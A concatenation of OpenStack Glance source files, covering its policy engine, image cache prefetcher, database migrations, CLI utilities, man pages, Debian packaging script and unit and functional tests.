"add_image": ["role:admin"],
"modify_image": ["role:admin"],
"delete_image": ["role:admin"]
}
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2011 OpenStack, LLC
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import os.path
import shutil
import unittest
import stubout
from glance.common import config
from glance.common import context
from glance.image_cache import pruner
from glance.tests import utils as test_utils
class TestPasteApp(unittest.TestCase):
def setUp(self):
self.stubs = stubout.StubOutForTesting()
def tearDown(self):
self.stubs.UnsetAll()
def _do_test_load_paste_app(self,
expected_app_type,
paste_group={},
paste_copy=True,
paste_append=None):
conf = test_utils.TestConfigOpts(groups=paste_group)
def _appendto(orig, copy, str):
shutil.copy(orig, copy)
with open(copy, 'ab') as f:
f.write(str or '')
f.flush()
if paste_copy:
paste_from = os.path.join(os.getcwd(),
'etc/glance-registry-paste.ini')
paste_to = os.path.join(conf.temp_file.replace('.conf',
'-paste.ini'))
_appendto(paste_from, paste_to, paste_append)
app = config.load_paste_app(conf, 'glance-registry')
self.assertEquals(expected_app_type, type(app))
def test_load_paste_app(self):
expected_middleware = context.ContextMiddleware
self._do_test_load_paste_app(expected_middleware)
def test_load_paste_app_with_paste_flavor(self):
paste_group = {'paste_deploy': {'flavor': 'incomplete'}}
pipeline = '[pipeline:glance-registry-incomplete]\n' + \
'pipeline = context registryapp'
type = context.ContextMiddleware
self._do_test_load_paste_app(type, paste_group, paste_append=pipeline)
def test_load_paste_app_with_paste_config_file(self):
paste_config_file = os.path.join(os.getcwd(),
'etc/glance-registry-paste.ini')
paste_group = {'paste_deploy': {'config_file': paste_config_file}}
expected_middleware = context.ContextMiddleware
self._do_test_load_paste_app(expected_middleware,
paste_group, paste_copy=False)
def test_load_paste_app_with_conf_name(self):
def fake_join(*args):
if len(args) == 2 and \
args[0].endswith('.glance') and \
args[1] == 'glance-cache.conf':
return os.path.join(os.getcwd(), 'etc', args[1])
else:
return orig_join(*args)
orig_join = os.path.join
self.stubs.Set(os.path, 'join', fake_join)
conf = config.GlanceCacheConfigOpts()
conf([])
self.stubs.Set(config, 'setup_logging', lambda *a: None)
self.stubs.Set(pruner, 'Pruner', lambda conf, **lc: 'pruner')
app = config.load_paste_app(conf, 'glance-pruner')
self.assertEquals('pruner', app)
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2011 <NAME>
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""
Tests a Glance API server which uses an RBD backend by default
This test has requires a Ceph cluster, optionally with
authentication. It looks in a file specified in the
GLANCE_TEST_RBD_CONF environment variable for RBD store settings.
For more details, see doc/source/configuring.rst.
For Ceph installation instructions, see:
http://ceph.newdream.net/docs/latest/ops/install/
or, if you want to compile a development version:
http://ceph.newdream.net/wiki/Simple_test_setup
Note this test creates and deletes the pool specified in the
configuration file, so it should not exist prior to running the test.
If a connection cannot be established, or the rados library is not
found, or creating the pool fails, all the test cases are skipped.
"""
import ConfigParser
import os
from glance.tests.functional import test_api
from glance.store.rbd import DEFAULT_POOL, DEFAULT_CONFFILE, DEFAULT_USER
class TestRBD(test_api.TestApi):
"""Functional tests for the RBD backend"""
CONFIG_FILE_PATH = os.environ.get('GLANCE_TEST_RBD_CONF')
def __init__(self, *args, **kwargs):
super(TestRBD, self).__init__(*args, **kwargs)
self.disabled = True
if not self.CONFIG_FILE_PATH:
self.disabled_message = "GLANCE_TEST_RBD_CONF environ not set."
return
# use the default configuration if none is specified
self.rbd_store_ceph_conf = DEFAULT_CONFFILE
self.rbd_store_user = DEFAULT_USER
self.rbd_store_pool = DEFAULT_POOL
if os.path.exists(TestRBD.CONFIG_FILE_PATH):
cp = ConfigParser.RawConfigParser()
try:
cp.read(TestRBD.CONFIG_FILE_PATH)
defaults = cp.defaults()
for key, value in defaults.items():
self.__dict__[key] = value
except ConfigParser.ParsingError, e:
self.disabled_message = ("Failed to read test_rbd config "
"file. Got error: %s" % e)
return
try:
import rados
except ImportError:
self.disabled_message = "rados python library not found"
return
cluster = rados.Rados(conffile=self.rbd_store_ceph_conf,
rados_id=self.rbd_store_user)
try:
cluster.connect()
except rados.Error, e:
self.disabled_message = ("Failed to connect to RADOS: %s" % e)
return
cluster.shutdown()
self.default_store = 'rbd'
self.disabled = False
def setUp(self):
if self.disabled:
return
import rados
try:
self.create_pool()
except rados.Error, e:
self.disabled_message = ("Failed to create pool: %s" % e)
self.disabled = True
return
super(TestRBD, self).setUp()
def tearDown(self):
if not self.disabled:
self.delete_pool()
super(TestRBD, self).tearDown()
def create_pool(self):
from rados import Rados
with Rados(conffile=self.rbd_store_ceph_conf,
rados_id=self.rbd_store_user) as cluster:
cluster.create_pool(self.rbd_store_pool)
def delete_pool(self):
from rados import Rados
with Rados(conffile=self.rbd_store_ceph_conf,
rados_id=self.rbd_store_user) as cluster:
cluster.delete_pool(self.rbd_store_pool)
<file_sep>/*
* This is necessary because sqlalchemy has various bugs preventing
* downgrades from working correctly.
*/
BEGIN TRANSACTION;
CREATE TEMPORARY TABLE images_backup (
id VARCHAR(36) NOT NULL,
name VARCHAR(255),
size INTEGER,
status VARCHAR(30) NOT NULL,
is_public BOOLEAN NOT NULL,
location TEXT,
created_at DATETIME NOT NULL,
updated_at DATETIME,
deleted_at DATETIME,
deleted BOOLEAN NOT NULL,
disk_format VARCHAR(20),
container_format VARCHAR(20),
checksum VARCHAR(32),
owner VARCHAR(255),
min_disk INTEGER NOT NULL,
min_ram INTEGER NOT NULL,
PRIMARY KEY (id),
CHECK (is_public IN (0, 1)),
CHECK (deleted IN (0, 1))
);
INSERT INTO images_backup
SELECT id, name, size, status, is_public, location, created_at, updated_at, deleted_at, deleted, disk_format, container_format, checksum, owner, min_disk, min_ram
FROM images;
DROP TABLE images;
CREATE TABLE images (
id VARCHAR(36) NOT NULL,
name VARCHAR(255),
size INTEGER,
status VARCHAR(30) NOT NULL,
is_public BOOLEAN NOT NULL,
location TEXT,
created_at DATETIME NOT NULL,
updated_at DATETIME,
deleted_at DATETIME,
deleted BOOLEAN NOT NULL,
disk_format VARCHAR(20),
container_format VARCHAR(20),
checksum VARCHAR(32),
owner VARCHAR(255),
min_disk INTEGER NOT NULL,
min_ram INTEGER NOT NULL,
PRIMARY KEY (id),
CHECK (is_public IN (0, 1)),
CHECK (deleted IN (0, 1))
);
CREATE INDEX ix_images_is_public ON images (is_public);
CREATE INDEX ix_images_deleted ON images (deleted);
INSERT INTO images
SELECT id, name, size, status, is_public, location, created_at, updated_at, deleted_at, deleted, disk_format, container_format, checksum, owner, min_disk, min_ram
FROM images_backup;
DROP TABLE images_backup;
COMMIT;
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2011 OpenStack LLC.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""
Prefetches images into the Image Cache
"""
import logging
import eventlet
from glance.common import exception
from glance.image_cache import ImageCache
from glance import registry
import glance.store
import glance.store.filesystem
import glance.store.http
import glance.store.rbd
import glance.store.s3
import glance.store.swift
from glance.store import get_from_backend
logger = logging.getLogger(__name__)
class Prefetcher(object):
def __init__(self, conf, **local_conf):
self.conf = conf
glance.store.create_stores(conf)
self.cache = ImageCache(conf)
registry.configure_registry_client(conf)
def fetch_image_into_cache(self, image_id):
ctx = registry.get_client_context(self.conf,
is_admin=True, show_deleted=True)
try:
image_meta = registry.get_image_metadata(ctx, image_id)
if image_meta['status'] != 'active':
logger.warn(_("Image '%s' is not active. Not caching."),
image_id)
return False
except exception.NotFound:
logger.warn(_("No metadata found for image '%s'"), image_id)
return False
image_data, image_size = get_from_backend(image_meta['location'])
logger.debug(_("Caching image '%s'"), image_id)
self.cache.cache_image_iter(image_id, image_data)
return True
def run(self):
images = self.cache.get_queued_images()
if not images:
logger.debug(_("Nothing to prefetch."))
return True
num_images = len(images)
logger.debug(_("Found %d images to prefetch"), num_images)
pool = eventlet.GreenPool(num_images)
results = pool.imap(self.fetch_image_into_cache, images)
successes = sum([1 for r in results if r is True])
if successes != num_images:
logger.error(_("Failed to successfully cache all "
"images in queue."))
return False
logger.info(_("Successfully cached all %d images"), num_images)
return True
<file_sep>=======================
glance-cache-prefetcher
=======================
------------------------------
Glance Image Cache Pre-fetcher
------------------------------
:Author: <EMAIL>
:Date: 2012-01-03
:Copyright: OpenStack LLC
:Version: 2012.1-dev
:Manual section: 1
:Manual group: cloud computing
SYNOPSIS
========
glance-cache-prefetcher [options]
DESCRIPTION
===========
This is meant to be run from the command line after queueing
images to be pretched.
OPTIONS
=======
**--version**
show program's version number and exit
**-h, --help**
show this help message and exit
**--config-file=PATH**
Path to a config file to use. Multiple config files
can be specified, with values in later files taking
precedence.
The default files used are: []
**-d, --debug**
Print debugging output
**--nodebug**
Do not print debugging output
**-v, --verbose**
Print more verbose output
**--noverbose**
Do not print verbose output
**--log-config=PATH**
If this option is specified, the logging configuration
file specified is used and overrides any other logging
options specified. Please see the Python logging
module documentation for details on logging
configuration files.
**--log-format=FORMAT**
A logging.Formatter log message format string which
may use any of the available logging.LogRecord
attributes.
Default: none
**--log-date-format=DATE_FORMAT**
Format string for %(asctime)s in log records.
Default: none
**--log-file=PATH**
(Optional) Name of log file to output to. If not set,
logging will go to stdout.
**--log-dir=LOG_DIR**
(Optional) The directory to keep log files in (will be
prepended to --logfile)
**--use-syslog**
Use syslog for logging.
**--nouse-syslog**
Do not use syslog for logging.
**--syslog-log-facility=SYSLOG_LOG_FACILITY**
syslog facility to receive log lines
SEE ALSO
========
* `OpenStack Glance <http://glance.openstack.org>`__
BUGS
====
* Glance is sourced in Launchpad so you can view current bugs at `OpenStack Glance <http://glance.openstack.org>`__
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright (c) 2011 OpenStack, LLC.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""Common Policy Engine Implementation"""
import json
class NotAuthorized(Exception):
pass
_BRAIN = None
def set_brain(brain):
"""Set the brain used by enforce().
Defaults use Brain() if not set.
"""
global _BRAIN
_BRAIN = brain
def reset():
"""Clear the brain used by enforce()."""
global _BRAIN
_BRAIN = None
def enforce(match_list, target_dict, credentials_dict):
"""Enforces authorization of some rules against credentials.
:param match_list: nested tuples of data to match against
The basic brain supports three types of match lists:
1) rules
looks like: ('rule:compute:get_instance',)
Retrieves the named rule from the rules dict and recursively
checks against the contents of the rule.
2) roles
looks like: ('role:compute:admin',)
Matches if the specified role is in credentials_dict['roles'].
3) generic
('tenant_id:%(tenant_id)s',)
Substitutes values from the target dict into the match using
the % operator and matches them against the creds dict.
Combining rules:
The brain returns True if any of the outer tuple of rules match
and also True if all of the inner tuples match. You can use this to
perform simple boolean logic. For example, the following rule would
return True if the creds contain the role 'admin' OR the if the
tenant_id matches the target dict AND the the creds contains the
role 'compute_sysadmin':
{
"rule:combined": (
'role:admin',
('tenant_id:%(tenant_id)s', 'role:compute_sysadmin')
)
}
Note that rule and role are reserved words in the credentials match, so
you can't match against properties with those names. Custom brains may
also add new reserved words. For example, the HttpBrain adds http as a
reserved word.
:param target_dict: dict of object properties
Target dicts contain as much information as we can about the object being
operated on.
:param credentials_dict: dict of actor properties
Credentials dicts contain as much information as we can about the user
performing the action.
:raises NotAuthorized if the check fails
"""
global _BRAIN
if not _BRAIN:
_BRAIN = Brain()
if not _BRAIN.check(match_list, target_dict, credentials_dict):
raise NotAuthorized()
class Brain(object):
"""Implements policy checking."""
@classmethod
def load_json(cls, data, default_rule=None):
"""Init a brain using json instead of a rules dictionary."""
rules_dict = json.loads(data)
return cls(rules=rules_dict, default_rule=default_rule)
def __init__(self, rules=None, default_rule=None):
self.rules = rules or {}
self.default_rule = default_rule
def add_rule(self, key, match):
self.rules[key] = match
def _check(self, match, target_dict, cred_dict):
match_kind, match_value = match.split(':', 1)
try:
f = getattr(self, '_check_%s' % match_kind)
except AttributeError:
if not self._check_generic(match, target_dict, cred_dict):
return False
else:
if not f(match_value, target_dict, cred_dict):
return False
return True
def check(self, match_list, target_dict, cred_dict):
"""Checks authorization of some rules against credentials.
Detailed description of the check with examples in policy.enforce().
:param match_list: nested tuples of data to match against
:param target_dict: dict of object properties
:param credentials_dict: dict of actor properties
:returns: True if the check passes
"""
if not match_list:
return True
for and_list in match_list:
if isinstance(and_list, basestring):
and_list = (and_list,)
if all([self._check(item, target_dict, cred_dict)
for item in and_list]):
return True
return False
def _check_rule(self, match, target_dict, cred_dict):
"""Recursively checks credentials based on the brains rules."""
try:
new_match_list = self.rules[match]
except KeyError:
if self.default_rule and match != self.default_rule:
new_match_list = ('rule:%s' % self.default_rule,)
else:
return False
return self.check(new_match_list, target_dict, cred_dict)
def _check_role(self, match, target_dict, cred_dict):
"""Check that there is a matching role in the cred dict."""
return match in cred_dict['roles']
def _check_generic(self, match, target_dict, cred_dict):
"""Check an individual match.
Matches look like:
tenant:%(tenant_id)s
role:compute:admin
"""
# TODO(termie): do dict inspection via dot syntax
match = match % target_dict
key, value = match.split(':', 1)
if key in cred_dict:
return value == cred_dict[key]
return False
<file_sep>#!/usr/bin/env python
# vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2010 United States Government as represented by the
# Administrator of the National Aeronautics and Space Administration.
# Copyright 2011 OpenStack LLC.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""
Glance Management Utility
"""
# FIXME(sirp): When we have glance-admin we can consider merging this into it
# Perhaps for consistency with Nova, we would then rename glance-admin ->
# glance-manage (or the other way around)
import gettext
import os
import sys
# If ../glance/__init__.py exists, add ../ to Python search path, so that
# it will override what happens to be installed in /usr/(local/)lib/python...
possible_topdir = os.path.normpath(os.path.join(os.path.abspath(sys.argv[0]),
os.pardir,
os.pardir))
if os.path.exists(os.path.join(possible_topdir, 'glance', '__init__.py')):
sys.path.insert(0, possible_topdir)
gettext.install('glance', unicode=1)
from glance.common import cfg
from glance.common import config
from glance.common import exception
import glance.registry.db
import glance.registry.db.migration
def do_db_version(conf, args):
"""Print database's current migration level"""
print glance.registry.db.migration.db_version(conf)
def do_upgrade(conf, args):
"""Upgrade the database's migration level"""
try:
db_version = args[1]
except IndexError:
db_version = None
glance.registry.db.migration.upgrade(conf, version=db_version)
def do_downgrade(conf, args):
"""Downgrade the database's migration level"""
try:
db_version = args[1]
except IndexError:
raise exception.MissingArgumentError(
"downgrade requires a version argument")
glance.registry.db.migration.downgrade(conf, version=db_version)
def do_version_control(conf, args):
"""Place a database under migration control"""
glance.registry.db.migration.version_control(conf)
def do_db_sync(conf, args):
"""Place a database under migration control and upgrade"""
try:
db_version = args[1]
except IndexError:
db_version = None
glance.registry.db.migration.db_sync(conf, version=db_version)
def dispatch_cmd(conf, args):
"""Search for do_* cmd in this module and then run it"""
cmd = args[0]
try:
cmd_func = globals()['do_%s' % cmd]
except KeyError:
sys.exit("ERROR: unrecognized command '%s'" % cmd)
try:
cmd_func(conf, args)
except exception.GlanceException, e:
sys.exit("ERROR: %s" % e)
def main():
try:
# We load the glance-registry config section because
# sql_connection is only part of the glance registry.
default_config_files = \
cfg.find_config_files(project='glance', prog='glance-registry')
conf = \
config.GlanceConfigOpts(default_config_files=default_config_files,
usage="%prog [options] <cmd>")
glance.registry.db.add_options(conf)
args = conf()
config.setup_logging(conf)
except RuntimeError, e:
sys.exit("ERROR: %s" % e)
if not args:
conf.print_usage()
sys.exit(1)
dispatch_cmd(conf, args)
if __name__ == '__main__':
main()
<file_sep>======
glance
======
-----------------------------
Glance command line interface
-----------------------------
:Author: <EMAIL>
:Date: 2012-01-03
:Copyright: OpenStack LLC
:Version: 2012.1-dev
:Manual section: 1
:Manual group: cloud computing
SYNOPSIS
========
glance <command> [options] [args]
COMMANDS
========
**help <command>**
Output help for one of the commands below
**add**
Adds a new image to Glance
**update**
Updates an image's metadata in Glance
**delete**
Deletes an image from Glance
**index**
Return brief information about images in Glance
**details**
Return detailed information about images in Glance
**show**
Show detailed information about an image in Glance
**clear**
Removes all images and metadata from Glance
MEMBER COMMANDS
===============
**image-members**
List members an image is shared with
**member-images**
List images shared with a member
**member-add**
Grants a member access to an image
**member-delete**
Revokes a member's access to an image
**members-replace**
Replaces all membership for an image
OPTIONS
=======
**--version**
show program's version number and exit
**-h, --help**
show this help message and exit
**-v, --verbose**
Print more verbose output
**-d, --debug**
Print more verbose output
**-H ADDRESS, --host=ADDRESS**
Address of Glance API host. Default: 0.0.0.0
**-p PORT, --port=PORT**
Port the Glance API host listens on. Default: 9292
**-U URL, --url=URL**
URL of Glance service. This option can be used to specify the hostname,
port and protocol (http/https) of the glance server, for example
-U https://localhost:9292/v1
Default: None
**-A TOKEN, --auth_token=TOKEN**
Authentication token to use to identify the client to the glance server
**--limit=LIMIT**
Page size to use while requesting image metadata
**--marker=MARKER**
Image index after which to begin pagination
**--sort_key=KEY**
Sort results by this image attribute.
**--sort_dir=[desc|asc]**
Sort results in this direction.
**-f, --force**
Prevent select actions from requesting user confirmation
**--dry-run**
Don't actually execute the command, just print output showing what
WOULD happen.
**--can-share**
Allow member to further share image.
SEE ALSO
========
* `OpenStack Glance <http://glance.openstack.org>`__
BUGS
====
* Glance is sourced in Launchpad so you can view current bugs at `OpenStack Glance <http://glance.openstack.org>`__
<file_sep>#!/bin/sh
set -e
if [ "$1" = "configure" ]
then
if ! getent passwd glance > /dev/null 2>&1
then
adduser --system --home /var/lib/glance --no-create-home --shell /bin/bash glance
fi
chown glance -R /var/lib/glance/ /var/log/glance/
if ! grep sql_connection /etc/glance/glance-registry.conf | grep -qv "sql_connection = sqlite:////var/lib/glance/glance.sqlite"
then
su -c 'glance-manage db_sync' glance
fi
fi
#DEBHELPER#
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2010 United States Government as represented by the
# Administrator of the National Aeronautics and Space Administration.
# Copyright 2010-2011 OpenStack LLC.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from glance.common import cfg
def add_options(conf):
"""
Adds any configuration options that the db layer might have.
:param conf: A ConfigOpts object
:retval None
"""
conf.register_group(cfg.OptGroup('registrydb',
title='Registry Database Options',
help='The following configuration options '
'are specific to the Glance image '
'registry database.'))
conf.register_cli_opt(cfg.StrOpt('sql_connection',
metavar='CONNECTION',
help='A valid SQLAlchemy connection '
'string for the registry database. '
'Default: %default'))
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2011 OpenStack LLC.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from migrate.changeset import *
from sqlalchemy import *
from glance.registry.db.migrate_repo.schema import from_migration_import
def get_images_table(meta):
"""
No changes to the images table from 008...
"""
(get_images_table,) = from_migration_import(
'008_add_image_members_table', ['get_images_table'])
images = get_images_table(meta)
return images
def get_image_properties_table(meta):
"""
No changes to the image properties table from 008...
"""
(get_image_properties_table,) = from_migration_import(
'008_add_image_members_table', ['get_image_properties_table'])
image_properties = get_image_properties_table(meta)
return image_properties
def get_image_members_table(meta):
"""
No changes to the image members table from 008...
"""
(get_image_members_table,) = from_migration_import(
'008_add_image_members_table', ['get_image_members_table'])
images = get_image_members_table(meta)
return images
def upgrade(migrate_engine):
meta = MetaData()
meta.bind = migrate_engine
images_table = get_images_table(meta)
# set updated_at to created_at if equal to None
conn = migrate_engine.connect()
conn.execute(
images_table.update(
images_table.c.updated_at == None,
{images_table.c.updated_at: images_table.c.created_at}))
def downgrade(migrate_engine):
meta = MetaData()
meta.bind = migrate_engine
images_table = get_images_table(meta)
# set updated_at to None if equal to created_at
conn = migrate_engine.connect()
conn.execute(
images_table.update(
images_table.c.updated_at == images_table.c.created_at,
{images_table.c.updated_at: None}))
<file_sep># vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2011 OpenStack, LLC
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""Functional test case that utilizes the bin/glance-cache-manage CLI tool"""
import datetime
import hashlib
import httplib2
import json
import os
import time
import unittest
from glance.common import utils
from glance.tests import functional
from glance.tests.utils import execute
FIVE_KB = 5 * 1024
class TestBinGlanceCacheManage(functional.FunctionalTest):
"""Functional tests for the bin/glance CLI tool"""
def setUp(self):
self.image_cache_driver = "sqlite"
super(TestBinGlanceCacheManage, self).setUp()
self.api_server.deployment_flavor = "cachemanagement"
# NOTE(sirp): This is needed in case we are running the tests under an
# environment in which OS_AUTH_STRATEGY=keystone. The test server we
# spin up won't have keystone support, so we need to switch to the
# NoAuth strategy.
os.environ['OS_AUTH_STRATEGY'] = 'noauth'
def add_image(self, name):
"""
Adds an image with supplied name and returns the newly-created
image identifier.
"""
image_data = "*" * FIVE_KB
headers = {'Content-Type': 'application/octet-stream',
'X-Image-Meta-Name': name,
'X-Image-Meta-Is-Public': 'true'}
path = "http://%s:%d/v1/images" % ("0.0.0.0", self.api_port)
http = httplib2.Http()
response, content = http.request(path, 'POST', headers=headers,
body=image_data)
self.assertEqual(response.status, 201)
data = json.loads(content)
self.assertEqual(data['image']['checksum'],
hashlib.md5(image_data).hexdigest())
self.assertEqual(data['image']['size'], FIVE_KB)
self.assertEqual(data['image']['name'], name)
self.assertEqual(data['image']['is_public'], True)
return data['image']['id']
def is_image_cached(self, image_id):
"""
Return True if supplied image ID is cached, False otherwise
"""
cmd = "bin/glance-cache-manage --port=%d list-cached" % self.api_port
exitcode, out, err = execute(cmd)
self.assertEqual(0, exitcode)
return image_id in out
def test_no_cache_enabled(self):
"""
Test that cache index command works
"""
self.cleanup()
self.api_server.deployment_flavor = ''
self.start_servers() # Not passing in cache_manage in pipeline...
api_port = self.api_port
registry_port = self.registry_port
# Verify decent error message returned
cmd = "bin/glance-cache-manage --port=%d list-cached" % api_port
exitcode, out, err = execute(cmd, raise_error=False)
self.assertEqual(1, exitcode)
self.assertTrue('Cache management middleware not enabled on host'
in out.strip())
self.stop_servers()
def test_cache_index(self):
"""
Test that cache index command works
"""
self.cleanup()
self.start_servers(**self.__dict__.copy())
api_port = self.api_port
registry_port = self.registry_port
# Verify no cached images
cmd = "bin/glance-cache-manage --port=%d list-cached" % api_port
exitcode, out, err = execute(cmd)
self.assertEqual(0, exitcode)
self.assertTrue('No cached images' in out.strip())
ids = {}
# Add a few images and cache the second one of them
# by GETing the image...
for x in xrange(0, 4):
ids[x] = self.add_image("Image%s" % x)
path = "http://%s:%d/v1/images/%s" % ("0.0.0.0", api_port,
ids[1])
http = httplib2.Http()
response, content = http.request(path, 'GET')
self.assertEqual(response.status, 200)
self.assertTrue(self.is_image_cached(ids[1]),
"%s is not cached." % ids[1])
self.stop_servers()
def test_queue(self):
"""
Test that we can queue and fetch images using the
CLI utility
"""
self.cleanup()
self.start_servers(**self.__dict__.copy())
api_port = self.api_port
registry_port = self.registry_port
# Verify no cached images
cmd = "bin/glance-cache-manage --port=%d list-cached" % api_port
exitcode, out, err = execute(cmd)
self.assertEqual(0, exitcode)
self.assertTrue('No cached images' in out.strip())
# Verify no queued images
cmd = "bin/glance-cache-manage --port=%d list-queued" % api_port
exitcode, out, err = execute(cmd)
self.assertEqual(0, exitcode)
self.assertTrue('No queued images' in out.strip())
ids = {}
# Add a few images and cache the second one of them
# by GETing the image...
for x in xrange(0, 4):
ids[x] = self.add_image("Image%s" % x)
# Queue second image and then cache it
cmd = "bin/glance-cache-manage --port=%d --force queue-image %s" % (
api_port, ids[1])
exitcode, out, err = execute(cmd)
self.assertEqual(0, exitcode)
# Verify queued second image
cmd = "bin/glance-cache-manage --port=%d list-queued" % api_port
exitcode, out, err = execute(cmd)
self.assertEqual(0, exitcode)
self.assertTrue(ids[1] in out, 'Image %s was not queued!' % ids[1])
# Cache images in the queue by running the prefetcher
cache_config_filepath = os.path.join(self.test_dir, 'etc',
'glance-cache.conf')
cache_file_options = {
'image_cache_dir': self.api_server.image_cache_dir,
'image_cache_driver': self.image_cache_driver,
'registry_port': self.api_server.registry_port,
'log_file': os.path.join(self.test_dir, 'cache.log'),
'metadata_encryption_key': "012345678901234567890123456789ab"
}
with open(cache_config_filepath, 'w') as cache_file:
cache_file.write("""[DEFAULT]
debug = True
verbose = True
image_cache_dir = %(image_cache_dir)s
image_cache_driver = %(image_cache_driver)s
registry_host = 0.0.0.0
registry_port = %(registry_port)s
metadata_encryption_key = %(metadata_encryption_key)s
log_file = %(log_file)s
""" % cache_file_options)
with open(cache_config_filepath.replace(".conf", "-paste.ini"),
'w') as paste_file:
paste_file.write("""[app:glance-pruner]
paste.app_factory = glance.common.wsgi:app_factory
glance.app_factory = glance.image_cache.pruner:Pruner
[app:glance-prefetcher]
paste.app_factory = glance.common.wsgi:app_factory
glance.app_factory = glance.image_cache.prefetcher:Prefetcher
[app:glance-cleaner]
paste.app_factory = glance.common.wsgi:app_factory
glance.app_factory = glance.image_cache.cleaner:Cleaner
[app:glance-queue-image]
paste.app_factory = glance.common.wsgi:app_factory
glance.app_factory = glance.image_cache.queue_image:Queuer
""")
cmd = "bin/glance-cache-prefetcher --config-file %s" % \
cache_config_filepath
exitcode, out, err = execute(cmd)
self.assertEqual(0, exitcode)
self.assertEqual('', out.strip(), out)
# Verify no queued images
cmd = "bin/glance-cache-manage --port=%d list-queued" % api_port
exitcode, out, err = execute(cmd)
self.assertEqual(0, exitcode)
self.assertTrue('No queued images' in out.strip())
# Verify second image now cached
cmd = "bin/glance-cache-manage --port=%d list-cached" % api_port
exitcode, out, err = execute(cmd)
self.assertEqual(0, exitcode)
self.assertTrue(ids[1] in out, 'Image %s was not cached!' % ids[1])
# Queue third image and then delete it from queue
cmd = "bin/glance-cache-manage --port=%d --force queue-image %s" % (
api_port, ids[2])
exitcode, out, err = execute(cmd)
self.assertEqual(0, exitcode)
# Verify queued third image
cmd = "bin/glance-cache-manage --port=%d list-queued" % api_port
exitcode, out, err = execute(cmd)
self.assertEqual(0, exitcode)
self.assertTrue(ids[2] in out, 'Image %s was not queued!' % ids[2])
# Delete the image from the queue
cmd = ("bin/glance-cache-manage --port=%d --force "
"delete-queued-image %s") % (api_port, ids[2])
exitcode, out, err = execute(cmd)
self.assertEqual(0, exitcode)
# Verify no queued images
cmd = "bin/glance-cache-manage --port=%d list-queued" % api_port
exitcode, out, err = execute(cmd)
self.assertEqual(0, exitcode)
self.assertTrue('No queued images' in out.strip())
# Queue all images
for x in xrange(0, 4):
cmd = ("bin/glance-cache-manage --port=%d --force "
"queue-image %s") % (api_port, ids[x])
exitcode, out, err = execute(cmd)
self.assertEqual(0, exitcode)
# Verify queued third image
cmd = "bin/glance-cache-manage --port=%d list-queued" % api_port
exitcode, out, err = execute(cmd)
self.assertEqual(0, exitcode)
self.assertTrue('Found 3 queued images' in out)
# Delete the image from the queue
cmd = ("bin/glance-cache-manage --port=%d --force "
"delete-all-queued-images") % (api_port)
exitcode, out, err = execute(cmd)
self.assertEqual(0, exitcode)
# Verify nothing in queue anymore
cmd = "bin/glance-cache-manage --port=%d list-queued" % api_port
exitcode, out, err = execute(cmd)
self.assertEqual(0, exitcode)
self.assertTrue('No queued images' in out.strip())
self.stop_servers()
